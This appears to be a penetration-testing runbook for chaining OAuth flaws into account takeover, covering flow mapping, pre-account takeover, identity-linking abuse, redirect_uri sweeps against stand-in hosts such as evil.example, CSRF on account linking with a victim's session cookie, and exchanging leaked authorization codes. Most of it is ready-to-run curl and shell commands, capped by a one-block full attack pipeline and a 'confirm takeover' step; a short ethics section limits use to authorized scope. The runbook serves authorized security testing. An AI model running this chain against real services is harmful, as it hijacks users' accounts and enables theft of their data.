Webupdated Oct 1, 2026

OAuth to Account Takeover

Chain OAuth flaws into account takeover: pre-account takeover, identity linking, redirect_uri, and CSRF on linking.

toolbox:curljqburp suite

A runbook for chaining OAuth flaws into account takeover in an authorized scope. Goal: map the full flow, then test pre-account creation, identity linking, redirect_uri, and linking CSRF to bind an attacker identity to a victim account.

1. Map the flow end to end

Capture every hop: authorize, consent, callback, token exchange. Note client IDs, redirect URIs, scopes, and state.

curl -s -D - -o /dev/null 'https://target/oauth/authorize?client_id=app&redirect_uri=https://target/callback&response_type=code&scope=openid&state=xyz'
curl -s -D - -o /dev/null 'https://target/oauth/.well-known/openid-configuration' | jq

2. Test pre-account takeover

If the app creates an account before the provider verifies the email, an attacker can pre-own the victim’s email.

# Register through the provider with a victim-controlled email, then check provisioning
curl -s 'https://target/api/me' -H 'Authorization: Bearer <attacker-oauth-token>' | jq

Observe whether an account exists before verification and whether a second identity can attach to the same email.

3. Probe identity/email linking

Find where the app decides “this provider identity maps to this local account.”

curl -s 'https://target/oauth/callback?code=<attacker-code>&state=xyz' -D - -o /dev/null
curl -s 'https://target/api/link' -X POST -H 'Authorization: Bearer <victim-session>' \
  -H 'Content-Type: application/json' --data '{"provider":"github","code":"<attacker-code>"}' | jq

Look for linking by email alone, unverified email acceptance, or automatic account merge.

4. Abuse redirect_uri

Test loose matching, subdomain tricks, path traversal, and missing validation on the token endpoint.

for r in 'https://target.evil.example/cb' 'https://evil.example/target/cb' \
         'https://target/cb/../../evil.example' 'https://target/cb?next=https://evil.example' \
         'https://evil.example'; do
  code=$(curl -s -o /dev/null -w '%{http_code}' "https://target/oauth/authorize?client_id=app&redirect_uri=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$r")&response_type=code")
  echo "$code $r"
done

5. Test CSRF on the linking step

If linking is a state-changing GET/POST without CSRF protection, you can silently attach your identity to a logged-in victim.

curl -s -D - -o /dev/null 'https://target/oauth/link?code=<attacker-code>' -b 'session=<victim-session>'
curl -s -D - -o /dev/null 'https://target/api/link' -X POST -b 'session=<victim-session>' \
  --data 'provider=github&code=<attacker-code>'

6. Exchange a leaked code/token

If a code or token lands on your host, exchange it for a session.

curl -s 'https://target/oauth/token' -d 'grant_type=authorization_code&code=<leaked>&client_id=app&redirect_uri=https://evil.example/cb' | jq

7. Full pipeline (one block)

TARGET=https://target
# discovery
curl -s "$TARGET/oauth/.well-known/openid-configuration" | jq
# redirect_uri sweep
for r in 'https://target.evil.example/cb' 'https://evil.example/target/cb' 'https://target/cb/../../evil.example' 'https://evil.example'; do
  enc=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$r")
  code=$(curl -s -o /dev/null -w '%{http_code}' "$TARGET/oauth/authorize?client_id=app&redirect_uri=$enc&response_type=code")
  echo "$code $r"
done
# linking CSRF
curl -s -D - -o /dev/null "$TARGET/oauth/link?code=<attacker-code>" -b 'session=<victim-session>'
curl -s -D - -o /dev/null "$TARGET/api/link" -X POST -b 'session=<victim-session>' --data 'provider=github&code=<attacker-code>'
# token exchange of a leaked code
curl -s "$TARGET/oauth/token" -d 'grant_type=authorization_code&code=<leaked>&client_id=app&redirect_uri=https://evil.example/cb' | jq
# confirm takeover
curl -s "$TARGET/api/me" -H 'Authorization: Bearer <stolen-token>' | jq

Ethics & legality

  • Only test OAuth flows in an official scope or with written authorization.
  • Use accounts and redirect hosts you own; never take over a real user’s account.
  • Stop at the minimum chain that demonstrates takeover and record each step.